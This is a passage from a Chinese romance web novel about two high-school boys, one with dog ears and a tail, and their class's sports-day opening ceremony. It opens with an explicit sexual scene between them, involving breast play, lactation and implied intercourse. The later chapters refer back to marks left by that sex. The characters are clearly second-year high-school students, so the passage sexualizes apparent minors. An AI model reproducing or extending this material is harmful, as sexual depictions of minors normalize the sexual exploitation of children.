韩季京搂住他的脖子,挺直腰撒娇说:“显眼包,怎么才能让你开心呀?哪里都可以的话…那你要咬这里吗?” 他低头去看自己被衬衫掩盖住的胸膛,束胸背心的拉链已经被拉开,透过单薄的夏季白色布料,能隐约看到内里随着呼吸起伏的半圆弧度,颗粒旁还残留着未消的齿痕。 “但是我现在不怎么难受,可能一会儿才会……” 中午出门前才让喻修越帮忙解决过问题,这会儿胸口只是有些微微发胀,没有要弄湿衣服的迹象。韩季京顿了下,话语拐了个弯说:“或者我也可以帮你?” 喻修越捏住他尾巴尖,垂下眼眸,手指顺着毛流一点一点慢慢往上捋。韩季京歪头观察了几秒他的表情,用手撑住他的腰腹,照着之前惯例的互帮互助流程,并起腿跪在上面用大腿蹭了蹭。 裤裙的下摆随着动作轻轻晃动,从裤管延伸出的双腿修长而有力,膝盖弯曲时浮现出健康的粉红颜色,动作间,小腿肌肉也在不自觉微微绷紧。 他专注地行动着,大耳朵跟着身体一起上下翻飞,可当喻修越的手突然滑到尾巴根部时,整个人触电似的浑身一颤,大脑顷刻陷入空白,就瞬间忘记自己一开始想要做什么了。 喻修越靠在沙发上,捏着他的尾巴根问:“是这里奇怪吗?” “嗯…”韩季京接着刚刚的话题回答,低头思考着,盯着自己身体的一部分,又犹豫说:“…但是、也不怎么奇怪……” 易受刺激的耳朵和尾巴一起被在手心揉搓,身体一直在很轻地颤栗,大脑像是被融化的橘子味糖果糊住,韩季京都不知道自己在回答些什么。 思来想去后干脆放弃思考,韩季京俯下身塌腰凑过去想亲他,就像回到小学二年级,在座位上捧着喻修越的脸留下一片又一片的草莓蛋糕印记。 但这次还没来得及触碰到脸颊的皮肤,喻修越把玩耳朵的那只手就毫无征兆按住他的后脑勺,微用力向下一压,韩季京被带着低头,牙齿直直地磕碰到对方的下唇。 “唔……” 鼻梁被眼镜的金属架子硌了一下,眼眶周围一圈顿时泛起红晕,韩季京把自己压到他身上,报复性地叼住喻修越的嘴唇,用犬齿不轻不重地磨了磨,再委屈巴巴地离远了点说,“你的眼镜让我好疼诶。” 喻修越摸着他的犬牙问:“那你帮我摘下来?” 韩季京咬住他的手指,透过镜片对上那双墨蓝色的眼睛,颜色深得如同夜晚的海面,静静回看过来时显得愈发深沉。 唇齿间的手指温度偏凉,好像在勾勒自己犬牙的形状,韩季京目光游离着下移到他的嘴唇,上面还有自己两颗小巧深陷的牙印,他舔了舔喻修越的指腹,把那副眼镜拿了下来。 视线一变得模糊,喻修越就不适地眯了眯眼睛。指腹的触感湿润粘腻,他近距离看到面前的人:熟悉到闭着眼睛都能描绘出来的容貌,那头杂乱扭曲的发丝下连睫毛也天生带着卷,一眨不眨地认真看人时,像是橱窗里等着被人选择的洋娃娃。 韩季京茶色的眸瞳湿漉漉,把眼镜随手扔到茶几上,在他看过去后快速地磨蹭了下大腿,只几下便要讨赏:“显眼包,你不亲亲我吗?” 喻修越稍稍动了动身体,随手将手指在白色的衬衫上抹干,在韩季京眨眼的间隙里扣住他的肩膀,猛地用巧劲一推,把他牢牢地压到沙发上。 后背陷进软乎乎的抱枕堆里,喻修越撑在他上方,慢吞吞地捏着尾骨问:“你说的…亲哪里都可以?” 随着这句话语落下,面前人便顺着锁骨一路往下,不断印下泛红的痕迹。 当湿热的触感慢慢游移到——时,韩季京就止不住地浑身发颤。 全身的皮肤都变得和尾巴根部一样布满了敏感的神经,酥麻感窜上脊背,逼得他弯着身体抱住一旁的小猫抱枕,生理盐水控制不住地盈满眼眶再流出来。 大耳朵翻飞着从脑袋垂落,顺着微微张开的嘴唇滑进去,他无意识地嚼了嚼自己的耳朵,又向左向右摇着头把耳朵重新翻回头顶。 他弓起腰,锁骨下方被背心拉链磨得生疼,本来没什么感觉的地方莫名肿胀作痛,黑耳朵小狗胡乱抓着手心的抱枕在胸膛蹭了下,忍不住哼唧着四处乱甩尾巴。 身体还在成长的地方完全受不住这样的对待。 水渍乱糟糟地蹭到衣服和抱枕上,不一会儿就把布料沾地乱七八糟。 凑近了就能闻到微甜的味道,喻修越扫过湿掉的白色异形小猫抱枕——那是韩季京从家里特意带过来的——只一眼就毫不留情地拽出来,远远扔到一旁换成了自己的手。 只要怀里有东西韩季京就会抱住,他眨眨眼睛,分辨了一会儿是什么,用脸亲昵地蹭了蹭他的衣袖,咕噜噜地呜儿了一声。 喻修越沾了一手,语气低低地又问:“喜欢我还是喜欢猫?” 被捏着一下一下挤压,韩季京大脑太小,满脑子都被用来注意身体的变化,但潜意识里还在记仇,不满地黏糊糊哼唧起来:“你说…喜欢我…” “喜欢你。”喻修越一字一字地说,语气缓慢地问,“还要我说什么?” 韩季京仰起脸,衬衫散乱地被甩飞到抱枕堆里,用湿漉漉的红茶色眼眸看他,像是茶叶完全被蓝色的温水泡开:“还要…显眼包亲亲……” 他一会儿断断续续地连着说“显眼包快说超级喜欢我”,一会儿含糊地撒娇让喻修越亲亲自己,末了又说自己胸口那里难受,最后话语被完全简化成了“显眼包”和“亲亲”,扯着他的袖口说什么也不放开。 喻修越从善如流地低头,扮演诚实守信的三好学生,尽职尽责地把锁骨下方的部位用手聚拢在一起。 他用牙齿叼住那点软弹,续而用舌尖缓缓勾勒,温热的吐息与细腻的触感交织在一起直到那里勉勉强强只能吐出一小股一小股的香甜,才不紧不慢地转移到另一边。 胸腔又胀又闷,胸膛在沉甸甸地发着烫。像是被什么东西堵住,又沉又粘腻。 韩季京难受地呜咽着,多重的感觉掺杂在一起,又让他整个人都晕乎乎的。 喻修越的动作又重又慢。 他被——……直到鼻头通红,眼眶也在不断地掉着眼泪,身下枕着的抱枕也变得湿乎乎。 连毛茸茸的尾巴都被一起打湿,黏成一绺一绺的,耷拉在沙发上顽强地甩了两下。 韩季京趴在抱枕上,吸了吸鼻子,想去用手勾茶几上的巨无霸卡通水杯。 他的眼前一片模糊,指尖在水杯边缘碰了好几下,水杯好像又近又远,视线都有些涣散起来,韩季京侧过脑袋,拽住喻修越的衣袖,抽噎着说:“显眼包…你帮帮我……” 冷不丁的,尾巴根部的敏感神经再次被重重碾磨而过,大腿侧猝不及防碰到——的东西,尾巴都快毛茸茸的跟白土松成年后一样绽开。 喻修越一把握住他的腕骨,力道重到仿佛要把他拆吃入腹。手腕侧面那处圆润的尺骨突起被压在抱枕里,陷入柔软蓬松的棉花。 “你在哭吗…?” 喻修越慢条斯理地——,眯了眯眼睛,凑过去说:“我有点看不见。” 韩季京眼前一片模糊,哽咽着喘息几声,闷闷的声音在空荡荡的客厅里回荡,眼泪吧嗒吧嗒地往下掉。 他拿眼前喻修越的袖口当纸巾,胡乱地抹了抹脸,被放开后,再用双手分别压住自己的耳朵,边抽搭边控诉说:“…显眼包、你好坏蛋。” 第83章 韩季京白天精力一向很充沛。 他雷打不动地每天困了就睡, 饿了就吃,到点就从学校里飞奔回家,从来不亏待自己一点, 作息堪称完美级别的健康,所以晚上熬夜的功力远远不及秦皓璜半分。 早上去公园滑滑板炫技、中午回家、下午和妈妈出去逛街、骑自行车接喻修越下课…一天转下来,凌晨不到韩季京就有些困得睁不开眼。 身体已经熟悉背后的节奏, 黏糊糊的触感和密密麻麻的快感被狗脑袋选择性迟钝地屏蔽掉,大耳朵一翻,完全抵挡不住想睡觉的意志。 被喻修越拎到浴室里后, 享受着技师过于娴熟舒爽的按摩手法, 大耳朵小狗泡着泡着就在浴缸里抱着人形抱枕的胳膊进入梦乡,两眼一闭就到了第二天早上七点。 平时都是被身体自带的生物钟叫醒,今天却罕见地是被喻修越的手机闹铃吵醒。韩季京哼哼唧唧地把脸埋进被子里, 卷毛乱翘的脑袋到处乱蹭了一会儿,又在被捏住尾巴时瞬间清醒了过来。 专业级滑板选手的身体素质无比优越,韩季京眨了眨湿润的茶色眸瞳,尝试翻了三下身后便坐起来, 尾巴甩到站在床边已经穿戴整齐的喻修越身上, 把自己扑到他身上,撒娇报菜名强调说自己好饿。 小狗尾音还带着点沙哑, 喻修越捏捏他的耳朵示意他收起来:“好吧,韩点心同学。那先起来洗漱?” 韩季京双手环着他的脖子, 拖长尾音把脑袋往他肩窝里蹭:“但是我好难受啊显眼包,不想走路。”他吧唧亲到喻修越脸上,“显眼包你最好了…想要显眼包抱我过去,或者显眼包背……” 话还没说完,喻修越就把他打横抱起来。韩季京立刻得寸进尺地把腿盘到他身上, 大声说:“所以,我全世界最喜欢显眼包!” 喻修越“哇哦”了一声:“真的吗,有多喜欢?” 韩季京想了想,认真回他:“一会儿吃饭的时候,我可以分给你一个奶黄包!” 喻修越抱着他捏了捏:“就这样喜欢我诶?” “对啊对啊,”韩季京点点头说,“而且我不给你分的话,要给谁分耶?” 洗漱完穿校服,他对着衣柜里的全身镜四处观察了一下自己,碰触到透红肿胀的两粒时,神经不自觉传来微微发痒的颤栗余韵。但此刻身体不在敏感状态,这点熟悉的感觉完全可以忽略不计。 镜子反射出的身体上多了很多斑驳的痕迹,但韩季京左看右看,对自己仍然还是满意得不得了。 他欢快地贴完创可贴,换好衣服背上挎包,又去当喻修越身上的移动挂件。 出门后,他从周末群里同学发的投票聊到运动会的天气,再谈到昨天秦皓璜晚自习给他拍照的期中考试成绩排行榜,最后突然转移话题到了昨天晚上的感受,哇塞说:“……感觉我可以做一个后空翻诶。” 虽然呜呜地说显眼包是坏蛋,但回忆起两个人一起看的小电影,那里面的人第二天早上连腰都直不起来,对比之下,喻修越根本就没用什么力气。 喻修越眼镜下的墨蓝眸瞳在他说到小电影时闪了闪——他脸上这副是备用的,之前那个被韩季京不知道扔到沙发底下哪里去了——末了扬唇问:“那你现在要表演吗?” 韩季京摇摇头,敏锐地察觉到再说下去有点不对,好像涉及到了某种动物界直立物种的男性尊严,瘪嘴改口说:“好勉强啊显眼包,我翻不过去诶。” 喻修越的语调慢吞吞:“但是你刚刚可不是这样说的诶。” “我刚刚也表演不了后空翻,”韩季京擅长装作自己什么都没说,“我的意思是显眼包要比小电影里的那个人厉害,不是…是我…嗯……” 韩季京语言系统混乱,索性转换话题道:“……这次也是年级第一,就是说,显眼包不管什么都是最厉害的那一个啊。” 喻修越保持淡淡的微笑“嗯嗯”点头,韩季京感觉自己也没有说什么,但又莫名感觉他有点奇怪,用手疯狂摇着他的肩膀四处扒拉了几分钟,喻修越还是那副波澜不惊的样子,只得眨眨眼睛,说:“我好饿啊显眼包。” 他委屈巴拉地在路上吃了一个杂粮煎饼,把喻修越手上的玉米煎饺抢过来四个叼进嘴里、再让他给自己买了两个奶黄包揣进口袋,然后喝了一杯南瓜粥,进教室前的一秒又被这顿饭完全哄好。 昨天的晚自习请了假,运动会开幕式今天下午三点开始,按理说早上还应该上半天课,但这个时间点也没什么人能真正做到静下心来学习。 在邱扬北调侃的话语下,韩季京把喻修越桌子上的东西重新按照自己的心意摆放,顺走他两根黑色中性笔,再把他刚接满水的水杯抱进怀里。 抬头一望,秦皓璜还在桌子上睡得正香。韩季京怎么能容忍他这样光明正大地偷懒,一个铲滑飞过去,抬脚就踹了下桌腿。 秦皓璜一个激灵弹起来,身上穿的是为运动会特意定制的五彩班服,还以为是第一节课老师来了,看清是他后揉着眼睛哀嚎:“我靠吓死我了,老柳刚早读放了一集《荒野求生》,给我看睡着了,饿死了都……” 喻修越已经在座位上翻起考试试卷。韩季京收回视线,咬了口他给自己买的奶黄包,纯炫耀不分享地问:“你饭呢?” 秦皓璜从抽屉里掏出夹馍,邱扬北给他带了饭:“你对象今年运动会还是没报?” 韩季京周末在班群里填表,报了一个跳高一个跳远一个3000米。最后一项报名是因为在这个人均玻璃小子的班级里无人能担当此大任,害怕那些人跑完就当场咳血去世,班长以请他吃蛋糕的由头,让他心甘情愿地填了表格。 而班级之神喻修越什么也没报,在同学眼里,跑步都够呛的学神喻修越压根不运动。 “如果你对象都能被称作不运动,那我就是个垃圾……”秦皓璜啃着夹馍含糊不清地感叹,突然猛拍大腿,弯腰从课桌底下摸了摸,拿出一个扎着缎带的超大号礼盒。 韩季京叼着奶黄包歪头看着它被推到自己眼下,警惕道:“这什么啊?” “就是我之前说的公主服啊。”秦皓璜再指了下前门口的那两件青蛙玩偶服,潇洒道,“我专门找洗衣店洗过了。下午开幕礼,我们就是五彩战队里的橙色公主与两个小青蛙。再让另一只林晓佳蛙给你化个妆…踩上迷彩冲浪板…绝对碾压其他所有班好吧!” 这在群里没有被讨论,因为他不想举牌子,所以最后定下的举牌人是副班长。 “……肯定很适合啊!”班长凑过来说,“我们选这件衣服选了一周呢,还特意问了学神你身高体重,问他喜欢什么裙子啊之类的” 怎么没有人通知他。 韩季京站在那里思考了几秒就懒得思考,他们选了一周,还问过喻修越,相当于这条裙子是不是就是喻修越选的。 那是喻修越真正喜欢的风格?! 滑滑板是韩季京的特长,穿裙子韩季京这段时间天天穿,因为猜测喻修越喜欢学院风,所以最近买的都是制服格裙。 高个子穿短裙会显得分外腿长,连假发都不用戴,顶着一头微长的卷发,微微烫直做一点造型,化好妆就和女孩子没有什么区别。 虽然他并没有女装的癖好,但欣赏自己是所有生物的本能,再加上秦皓璜如是说——你想想你对象那天过生日,你穿,不是也相当于穿给他看?! 韩季京用犬牙咬下一块奶黄包,说着“行啊行啊”,接过来收下了。 第84章 方宁司下午两点发朋友圈, 在校门口自拍比耶,配字说自己已成功请假,这三天都即将在学校里查无此人。 二十分钟后, 韩季京评论问他:【去哪里玩耶?】 从学校出来有时候并不是为了出去玩,方宁司把行李放到后备厢,从满屏的人机舔颜中揪出韩季京的这条, 打字回复:【我就是单纯不想待在学校。】 回完评论,他再顺手刷新了下屏幕,看到界面显示同班同学隋霖一秒前也发了条朋友圈, 什么文案也没有, 配图是自己和一个橙色公主裙女生的双人合照。 帅哥美女真养眼啊,不错不错,就是白毛霖什么时候有女朋…… ……嗯? 方宁司点赞的动作一顿, 视线在实况图上停留半秒,眉头微皱,不信邪地点击放大。 学校里竟然还能有他没见过的漂亮女生?! 实况画面里,隋霖旁边的人穿着橙白相间的泡泡袖公主裙, 正坐在阶梯教室的台阶上俏皮地歪着头。 她一手抓着盖住一半大腿的裙摆, 另一只手在腮边比了半颗心。卷翘的睫毛上沾着细碎的橙色闪片,那双沾了蜜糖的茶色眼眸在暖色灯光下水汪汪地注视着镜头。 亮片随着眨眼的动作扑簌簌闪动, 脑袋两侧扎着松松垮垮的低丸子头,卷曲的碎发从发包里散落出来, 垂直脸颊两侧,幻视耷拉着的小狗耳朵。身上层层叠叠的蓬松裙摆如同刚出炉的甜橙蛋糕胚,前短后长,衬得她整个人像是撒了糖霜的蜂蜜芝士小甜点,就是脸怎么看怎么眼熟—— 于是方宁司删掉之前那条朋友圈, 转身重发了一条,说自己要回学校参加运动会开幕式了。 那位性别不对的甜橙小点心秒速评论:【运动会里还有什么你值得留念的东西喔?】 方宁司关上车门回:【小蛋糕啊。】 过了几秒,聊天框弹出韩季京的消息,对方发了一个黑白小狗转圈的表情包:【但是显眼包生日蛋糕被分完了诶,早知道就给你留一点了!】 面前的桌子上只剩下被瓜分完的蛋糕盘,韩季京坐在喻修越座位打字,发完这句话抬起头,鼓着腮帮子说:“你的生日蛋糕,还有好多人没有吃到诶。” 喻修越倚在课桌边拧保温杯,普通的黑白色校服穿在他身上格外有型。他侧过脸,慢条斯理地问:“那怎么办?现在没有蛋糕可以切了。” 他们年级总共不到一千人,外表看起来无距离感且性格好相处的年级第一过生日,消息在周末一传十十传百,中午这段自由活动的时间里来送祝福的人络绎不绝,邱扬北就说干脆把蛋糕分掉好了。 韩季京站在座位上代替寿星分蛋糕,白色塑料刀在手里灵活翻飞,致力于给每一个人都抹成形状难看的艺术品,不是把奶油弄成抽象派,就是把水果摆得歪七扭八,抹着抹着突然发现面前只剩光秃秃的蛋糕板子。 但面前还有很多人没有分到,他灵机一动,抓起桌上的七彩水果糖一人一把,美名其曰“反正都是甜的,那糖果也可以是蛋糕!”。 有人笑着调侃说:“这其实是喜糖吧?”,韩季京瞄了眼跟没事人一样在旁边靠着的喻修越,拆了块糖塞进嘴里,咬碎哼道:“对啊对啊,我们在一起了啊,所以份子钱速速拿来!” 学校里大部分人早都默认两个人在谈恋爱,后面的人干脆直接把手上的礼物给他,一通操作下来,倒显得韩季京才是过生日的那个。 喻修越这个正牌寿星倒是一副事不关己的样子。有人来送祝福,他就扬扬下巴,扶着眼镜随便应付两句,说话时故意拖长尾音停顿,等着旁边被盖了章的男朋友忍不住开口替自己回复。 就这样到下午一点半,班长进教室发手机,林晓佳紧随其后进来,手里拿着从宿舍柜子翻出来的化妆包,把韩季京拉去隔壁阶梯教室里换衣服。 公主裙是不露肩的样式,上半身严丝合缝,高领蕾丝在脖颈交叉,泡泡袖蓬松鼓起,延伸到小臂的袖口在最中间收紧成荷叶边,周围点缀着一圈奶油色蕾丝。 棕色的犬系眼线沿着他天生的下垂弧度拉长,杏色腮红晕染在脸颊和鼻尖、扫过颧骨,原本凌厉的下颌线被修容粉柔化,配合着喉结上的白色蕾丝choker,镜子里逐渐出现个甜度超标的女生。 韩季京盯着随身镜的自己,膝盖并在一起,穿着绑带小腿袜的双腿自然分开踩在阶梯上,向左向右侧头,眨眨眼睛:“显眼包会喜欢这样子的吗?” 林晓佳在给丸子头绑蝴蝶结,疑惑地问:“为什么会这样想?” “因为这条裙子是他选的啊。”韩季京捧着脸回答,“我之前穿其他裙子,他都不太喜欢的样子诶。” “怎么会?”林晓佳点两下镜子屏幕,“他肯定都很喜欢的,因为点心不管什么样子都超级漂亮哦。” 韩季京晃了晃脚上的白底高帮板鞋:“我当然知道我很好看啊,显眼包不喜欢的话肯定是他的……”韩季京顿了下,又说,“他没有问题耶。” 林晓佳对于他嘴里的‘不喜欢’保持怀疑态度:“是怎样不喜欢?” “因为都没有夸过我。”韩小点心拽住蓬蓬裙的下摆,回忆着开口,“如果他这次再不夸,我就……” “就不理他了哦?” 韩季京完全做不到不理人,而且这显然对喻修越起不到任何作用,对象是被自己二十四小时不间断天天烦的好脾气,可能就在等着他主动消停。 他摇摇头,认真举例子说:“……我就在他晚上吃长寿面时把他的汤都喝光!将他的手机锁屏和游戏账号密码都改成‘韩季京全世界最好看’的首字母小写…再缠着不让他睡觉,让他睁着眼睛度过生日第一天!” “不给予夸赞简直太坏了,”林晓佳补充道:“下次就不要穿给他看了!” “但是我就是因为他才穿的诶,”韩季京歪歪头,“如果不给他看的话……” “可以发朋友圈给我们看,”林晓佳接话,“我和秦皓璜绝对每一条都会认真评论的!” 就算找一百个秦皓璜每人写八百字小作文,也比不上喻修越随口说的两个字。毕竟一个是男性朋友,而另一个是男朋友。 韩季京朋友圈基本都是滑板、拼好的积木乐高和游戏截屏,基本没有发过自己的照片,他摸着裙摆上的蕾丝边,一条绝妙的想法从脑海里蹦出。 服饰和妆容全部整理完是两点二十,推开门,穿着白色西装的隋霖刚好从楼梯转角拐过来。他是运动会主持人,要提前去操场集合,走过来站定在韩季京面前,又半天没有下一步的动作。 韩季京侧过脸低头,丸子头从脑袋后垂到脸颊前,想到好玩的事情,弯唇露出尖尖的犬齿:“隋霖,你考得怎么样诶?” 昨天电话里那样说,但成绩出来后隋霖并没有超越四百分的大关,诚实地表明会继续努力。随后从口袋里摸出手机,双手递过去说:“想要合影。” “好啊好啊,”韩季京拎了下裙摆,双腿在蓬蓬裙下若隐若现:“你是不是也觉得裙子超级好看?是显眼包给我选的耶!” 隋霖盯着裙摆,几秒后“嗯”了声,点头说:“是点心很漂亮。” 气质出众的人站在那里一眼就能被看到,更何况裙摆色彩明艳,穿着它的人又身高腿长,衬得本就修长的身形越发醒目,从门内走出的那一刻仿佛惊扰时光,无论如何也忽视不了。 林晓佳帮他们拍了几张双人合照,隋霖走后又给韩季京单独拍了十几张,回班的路上点开照片,对自己的化妆技术和模特本人都十分满意:“什么叫原图直出?!这就叫原图直出!一点都不用修!” 班里的人三三两两拿着水杯结伴往操场走,韩季京拎着裙摆在人群中左右横跳穿梭,宛如山里灵活的狗。遇到想搭话的人就弯起眼眸说“好哦好哦”,脚下却半步不停。举着配套的亮晶晶卡通叉子,飞一样滑到喻修越旁边。 目标人物此刻背对着他往杯子里放茶包,桌上的杂物已经收拾得干干净净。 韩季京顺手捞起桌角的棒棒糖叼住,绕着课桌慢悠悠转了两圈,再伸手对比了一下两个人的身高,猛地扑到他身上,下巴靠在肩膀上口齿不清地问:“拆拆窝柿随?” 喻修越头都不抬,松开水果茶包的线,弯起胳膊精准地捏住他脸颊上的软肉,往旁边扯了扯说:“某个穿裙子的笨蛋。” 棒棒糖快要从嘴里掉出来,韩季京连忙接到手里,听清他说的话后不满地瞪他:“你才是笨蛋。” 喻修越捏了捏,指腹没有蹭掉多少粉底,微微侧头端详片刻,凑近了点说:“口红沾到棒棒糖上了。”他点了点那颗白色的荔枝味棒棒糖,上面印着半个模糊的唇印。 林晓佳在座位上收拾化妆包,韩季京低头看了看糖果,又抬眼瞄了眼喻修越,突然凑上去“啵”地亲在他嘴角。 有淡粉色蹭到衣角,韩季京用手指故意去戳那个明显的唇印,得意洋洋地宣布:“现在口红沾到你脸上了。” “是吗?”眼前人茶色的眼睛骤然放大,喻修越从口袋里摸了摸,不紧不慢地掏出一支粉色唇釉,再顺手把一只糕点师造型的小狗耳扣扣在他左耳上。 “补妆工具,”喻修越侧过身拧开唇釉,捏住他的下巴,“还有配套装饰。” 阳光透过窗户散落在小狗糕点师的图案上,韩季京歪歪脑袋,银色钉下的耳扣也跟着一抖一抖,他微微张唇,让喻修越把唇釉点在唇尖,感受到冰凉的刷头划过唇瓣,再被指腹细细抹开。 藏在发丝里的耳朵好像变得热热的,韩季京喜欢这个黑白色的小狗糕点师耳扣,拿出镜子,用闪着碎光的眼睛看他:“超级好看!你什么时候买的诶?” “在路边看到就买了。”喻修越拨了下摇晃的耳扣,语调带着笑意,“想着你会喜欢?” 韩季京哼着歌滑到他座位上,把棒棒糖包在纸巾里扔到一边,拖着腮眼巴巴望着他,期待地等了会儿还是没有等到想听的话。见喻修越拿起杯子准备去接水,伸手扯了扯裙摆,没忍住开口:“显眼包,你不夸我好看吗?!” 喻修越侧过头问:“嗯?想喝柠檬茶还是百香果?” “我想喝牛奶。”韩季京说完,立刻瞪大眼眸看他,“你又在转移话题!敷衍,你好过分!” 他不夸有的是人夸,韩季京打开微信打算发朋友圈,刚好刷到方宁司说要逃学。瘪着嘴回完消息,随口叼住嘴边不知道从哪来的吸管。 玫瑰茶的甜香漫过舌尖,他鼓着腮帮子吸溜两口,小脾气顿时烟消云散。垂眸看到喻修越握住杯身的手,青脉分明,还沾着点杯壁的水珠。 没有蛋糕切的话就给方宁司一把糖果,韩季京把保温杯的绳圈勾住,想开口继续说些什么,一道声音突兀地插进来。 “摩西摩西,你们班学神和他对象在……?” 一起打篮球的体育生从前门口探出头,目光在教室里扫视半圈,猛地顿住。他先是看了看喻修越,又盯着韩季京的蓬蓬裙愣了两秒,最后大步走过来把礼物盒往桌上一放。 “生日——”话卡在喉咙里,体育生憋了半天挤出一句:“你这裙子…什么情趣啊?” “老实说我刚一眼没认出来,刚刚还在想今天不是喻神过生日,怎么坐他位置的漂亮小姐姐我没见过,你好适合女装啊,是不是类似于‘睁开眼发现变性成功’……” “不是我还能是谁啊?”韩季京听到前半句,恶狠狠开口,“名叫喻修越的人又没有除了我之外的第二个对象!你没有糖了!” “始皇秦只说来得晚没有蛋糕吃。”体育生表示拒绝,朝喻修越正色脸说,“但没说喜糖也没有。” 喻修越从桌子上挑了几颗蓝色和橙色的递给他,韩季京的视线黏在他手指上,余光却瞧见林晓佳正挽着朋友经过,才想起来还没有给她分。 他抓起一把糖果滑过去,林晓佳促狭地眨眼:“其实看到点心小蛋糕就可以了哦,”她欣赏半秒,“新耳扣很配你,是香喷喷的小蛋糕甜点师。” 韩季京“咦”了声问:“但是我不会做小蛋糕诶。” 旁边的女生仰起头,去看这位一米八五的巨型漂亮小蛋糕,忍不住点出来:“好笨,她是在说你是一块小蛋糕!” 别称是韩小点心的小狗在大脑烤箱里思考这句话:“听起来好好吃。” 林晓佳开玩笑说:“那我咬一口?” 大脑烤箱温度过高,思考失败,韩季京跟着欢快接话:“我也要吃!” 喻修越拿着滑板走过来评价:“好笨。” 韩季京茶色的眸子扫过去,喻修越又继续说:“那我也咬一口?” 被橙白色蓬蓬裙覆盖的身体还残留着他的齿痕。韩季京中午惯例缠着喻修越帮忙,换裙子时才发现腿侧已经被摩擦得发肿,咬痕边缘明晃晃地泛红,好在布料足够柔软,胸口的那两处只有走动时才会泛起隐约的刺痛。 “我——才不是——笨蛋——!”韩季京拽他的衣袖,每个字都咬的格外用力,气鼓鼓地宣布,“从现在开始,我要短暂地不喜欢你零点零一秒!” 喻修越的视线从他闪着亮片的睫毛滑到领口,短暂扫过那片被衣料绷出的诱人弧度就移开。 除了随着动作若隐若现的蕾丝袜带,这套包裹严实的公主裙什么都没有露出来,却让他的喉结不自觉地滚动了下。 “好吧,零点零一秒到了。”喻修越把他手里。的杯子勾过来,握住他的手腕拉着往操场走,语调慢悠悠接话,“那现在该我喜欢你了。” 第85章 运动会开幕式在温暖的阳光下拉开帷幕。 塑胶跑道被晒得有些发烫, 参赛学生们组成的方阵在跑道尽头准备入场,其余学生聚集在看台上,欢呼声此起彼伏。 广播里正在播放激昂的运动员进行曲, 韩季京咽下被嚼碎的水果糖,往外侧了下身体,后方的音响震得他耳朵发麻。 他朝班级的方向望, 班长在不远处扯着嗓子喊:“马上到了,重视形象的赶紧收拾自己!” 他们班抽到第三个入场,七彩的战袍外面规规矩矩地套着学校统一的黑白校服, 远看就像一群被迫营业的冷酷杀手, 非常符合实验班理科生的刻板形象。 ——如果忽略最前面那两个活蹦乱跳的青蛙玩偶的话。 秦皓璜嫌弃邱扬北动作不协调,拒绝他参与这项蛙蛙活动,约了林晓佳一起套青蛙服。前蛙身上缀满五颜六色的布花, 后蛙穿着一件超大号的女仆装,正用充气胳膊你一下我一下地互殴。 韩季京踩着滑板在场边来回滑动,觉得充气玩偶好好玩,恨不得也下场跟那两个人一起玩互相扇巴掌的小游戏。 公主裙没有设计口袋, 手机进场前被交给喻修越保管。韩季京想说话时根本闲不住, 随便拉住一旁不知道是谁的人就开始聊天。 对方本身还在为有漂亮女孩子主动搭讪而沾沾自喜,结果听到蛋糕裙开口后脆生生的少年音, 表情瞬间僵硬地裂开。 韩季京浑然不觉,继续晃着丸子头胡乱叭叭:“…那个班有小猪?巧了哥们, 我们班有两个蛙!” 前面两个班已经让现场气氛热闹起来。第一个方阵里有五个男生套着化肥袋改装的麻袋裙跳广场舞,第二个班上演抽象版的三只小猪,服装背后用A4纸贴着“五星级专业吃软饭女婿,买一送二”,结果刚过主席台就被校领导当场查封。 面前人说话的语气自来熟, 配合着外表来看完全可以忽略他的声音,男生的脸色缓和了一些,正想接话,一旁光放音乐的音响又嗡嗡出现主持人的声音: “现在向我们走来的是高二理科A班……” 广播员的话音未落,看台突然爆发出层层叠叠的呐喊与尖叫。 男生还没反应过来,身旁刚刚还在和自己搭话的人已经踩着滑板一个漂移冲进场地。橙白裙摆“唰”地在空中尽数绽开,在阳光下划出完美的圆弧,耀眼得让人移不开眼。 他单脚踩住板身,另一条腿稍稍屈起,一个漂亮的压板转弯闪亮登场,耳朵上的那只小狗耳扣随着风声不断晃动,几缕逃逸的卷发在风中飘散成漩涡。 喻修越单手搭在看台栏杆上,镜片后的目光始终追随着场中那道亮橙色的身影。看着他故意炫技,短短两分钟内连续做了三个滑板跳跃动作。 第一个ollie腾空,韩季京贴着看台边缘高高跃起,紧接着在落地瞬间一踢板尾,滑板在空中完成漂亮的shove it旋转,最后后脚向下方猛踩,前脚刷过板身,下方的橙色双翘如陀螺般水平旋转360度,蓬松的裙摆随着动作扬起,若隐若现地露出膝盖上方的一截白色蕾丝腿环。 他脸上绽开肆意的笑容,嘴角高高扬起,犬齿下隐约能看到还没融化完的糖果碎片。睫毛在阳光下扑闪出细碎的闪片光影,额前的卷发被风吹得乱七八糟,随着动作一晃一晃,表情明艳而张扬,又带着点孩子气的顽劣。 韩季京巡查领地般绕着班级方阵转了两个大圈,右手高高举起的荧光纸板被摊开在众人视线里,上面龙飞凤舞地写着“低调低调,A班驾到”,末尾画了一个骚包的芭比粉爱心。 板尾刹车时溅起细碎的塑胶颗粒,他单脚点地稳住平衡,朝喻修越所在的方向眨了眨眼睛,跟在后面的方阵齐刷刷地掀开校服。 理科A班的人穿着清一色的彩虹战服,背后贴着“年级第一后援会”的标志,胸前是喻修越的证件照放大版,两只青蛙在第一排展开横幅,上书:《南通A班在喻神的带领下欣欣向Gay啊!》。 横幅的右上角,还用紫色小字特意注明:【GAY:adj.快乐的,欢乐的。】 秦皓璜顶着青蛙头套,举起充气巴掌猛地拍在横幅的“Gay”字上方。藏在蛙掌里的彩色丝带喷涌而出,正好全部散落在恰好滑近的韩季京身上。 喻修越推了推镜框,看着他猝不及防被糊了满脸,一条金色彩带飘到唇边,被他条件反射般一口叼住,圆溜溜的眼睛和耳朵上那只黑白色的小狗如出一辙,不由得拧开保温杯喝了口水。 如果光看外表的话,韩季京一点也不像是思维容易混乱的笨蛋。 但小狗脑袋的确只有很小一点,滑板、游戏和喜欢的物理题已经占据了大半负责思考的脑细胞。有时候半夜睡着睡着,韩季京就会突然开始胡乱哼唧,梦到自己在吃零食,嗷呜一口咬到喻修越的衣服上,哪怕脸颊旁耷拉下垂的大耳朵被塞到嘴里,还会继续卖力地嚼嚼嚼。 毕竟吃东西不需要拥有脑袋瓜子。 看起来一点都不笨的狗叼着彩带丝滑下场,帅翻了看台上所有能看到他表演的人,在看台下的通道里七拐八拐后把滑板一踢,飞扑到面对面走过来的喻修越怀里。 蓬蓬裙摆随着动作扫过裤管,喻修越把他嘴里的丝带拿下来,韩季京顺势得寸进尺地把全身重量都挂上去,黏糊糊地说:“我腿好疼诶。” 